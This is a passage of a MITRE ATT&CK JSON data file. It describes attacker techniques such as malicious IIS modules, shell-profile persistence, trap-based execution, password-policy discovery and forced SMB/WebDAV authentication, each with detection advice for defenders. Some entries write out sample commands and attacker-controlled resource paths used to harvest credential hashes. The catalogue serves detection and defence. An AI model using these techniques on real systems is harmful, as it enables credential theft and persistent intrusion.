(2011, February 2). IIS Backdoor. Retrieved June 3, 2021."}, {"source_name": "Trustwave IIS Module 2013", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/", "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021."}, {"source_name": "Microsoft ISAPI Extension All Incoming 2017", "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)", "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021."}, {"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}, {"source_name": "MMPC ISAPI Filter 2012", "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx", "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021."}, {"source_name": "Microsoft IIS Modules Overview 2007", "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview", "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021."}, {"source_name": "ESET IIS Malware 2021", "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021."}, {"url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", "source_name": "Unit 42 RGDoor Jan 2018"}], "modified": "2021-10-17T15:06:24.161Z", "name": "IIS Components", "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to <code>%windir%\\system32\\inetsrv\\config\\applicationhost.config</code> could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of <code>AppCmd.exe</code>, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Command: Command Execution", "File: File Modification"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"]}, {"x_mitre_platforms": ["macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", "type": "attack-pattern", "created": "2020-02-10T19:49:46.752Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1036.001", "url": "https://attack.mitre.org/techniques/T1036/001"}, {"source_name": "Threatexpress MetaTwin 2017", "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/", "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019."}], "modified": "2020-02-10T19:52:47.724Z", "name": "Invalid Code Signature", "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Metadata"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Johann Rehberger", "Janantha Marasinghe", "Menachem Shafran, XM Cyber"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "type": "attack-pattern", "created": "2020-06-29T15:36:41.535Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1564.006", "url": "https://attack.mitre.org/techniques/T1564/006"}, {"source_name": "SingHealth Breach Jan 2019", "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx", "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."}, {"source_name": "Sophos Ragnar May 2020", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}, {"source_name": "Shadowbunny VM Defense Evasion", "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/", "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}], "modified": "2021-10-14T22:21:59.708Z", "name": "Run Virtual Instance", "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. <code>-silent</code>, <code>-ignore-reboot</code>), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. <code>VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"</code>).\n\nMonitor for commands which enable hypervisors such as Hyper-V.  If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Image: Image Metadata", "Service: Service Creation", "Process: Process Creation", "File: File Creation", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1154", "url": "https://attack.mitre.org/techniques/T1154"}, {"source_name": "Trap Manual", "url": "https://ss64.com/bash/trap.html", "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."}, {"source_name": "Cyberciti Trap Statements", "url": "https://bash.cyberciti.biz/guide/Trap_statement", "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."}], "modified": "2020-01-24T14:18:13.478Z", "name": "Trap", "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2022-09-06T22:01:45.067Z", "name": "Password Policy Discovery", "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.", "x_mitre_platforms": ["Windows", "Linux", "macOS", "IaaS", "Network"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.5", "x_mitre_contributors": ["Regina Elwell", "Sudhanshu Chauhan, @Sudhanshu_C", "Isif Ibrahima, Mandiant", "Austin Clark, @c2defense"], "x_mitre_data_sources": ["User Account: User Account Metadata", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1201", "external_id": "T1201"}, {"source_name": "AWS GetPasswordPolicy", "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.", "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"}, {"source_name": "Jamf User Password Policies", "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.", "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"}, {"source_name": "Superuser Linux Password Policies", "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.", "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-01T15:49:15.588Z", "name": "Event Triggered Execution", "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.  \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "SaaS", "IaaS", "Office 365"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Module: Module Load", "WMI: WMI Creation", "File: File Metadata", "File: File Creation", "File: File Modification", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Cloud Service: Cloud Service Modification", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "created": "2020-01-22T21:04:23.285Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546", "external_id": "T1546"}, {"source_name": "FireEye WMI 2015", "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"}, {"source_name": "Microsoft DART Case Report 001", "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.", "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"}, {"source_name": "amnesia malware", "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"}, {"source_name": "Backdooring an AWS account", "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.", "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"}, {"source_name": "Varonis Power Automate Data Exfiltration", "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.", "url": "https://www.varonis.com/blog/power-automate-data-exfiltration"}, {"source_name": "Malware Persistence on OS X", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Robert Wilson", "Tony Lambert, Red Canary"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "type": "attack-pattern", "created": "2020-01-24T14:13:45.936Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.004", "url": "https://attack.mitre.org/techniques/T1546/004"}, {"source_name": "intezer-kaiji-malware", "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."}, {"source_name": "bencane blog bashrc", "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/", "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021."}, {"source_name": "anomali-rocke-tactics", "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect", "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020."}, {"source_name": "Linux manual bash invocation", "url": "https://wiki.archlinux.org/index.php/Bash#Invocation", "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021."}, {"source_name": "Tsunami", "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020."}, {"source_name": "anomali-linux-rabbit", "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020."}, {"source_name": "Magento", "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html", "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020."}, {"source_name": "ScriptingOSX zsh", "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/", "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021."}, {"source_name": "PersistentJXA_leopitt", "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."}, {"source_name": "code_persistence_zsh", "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js", "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021."}, {"source_name": "macOS MS office sandbox escape", "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a", "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021."}, {"source_name": "ESF_filemonitor", "url": "https://objective-see.com/blog/blog_0x48.html", "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."}], "modified": "2021-08-20T18:01:52.120Z", "name": "Unix Shell Configuration Modification", "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to <code>/etc/profile</code> and <code>/etc/profile.d</code>, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the <code>/etc/shells</code> file.\n", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "File: File Creation", "Command: Command Execution", "File: File Modification"], "x_mitre_permissions_required": ["User", "Administrator"]}, {"modified": "2023-08-14T19:30:45.123Z", "name": "Forced Authentication", "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Teodor Cimpoesu", "Sudhanshu Chauhan, @Sudhanshu_C"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["File: File Access", "Network Traffic: Network Traffic Flow", "File: File Modification", "File: File Creation", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": 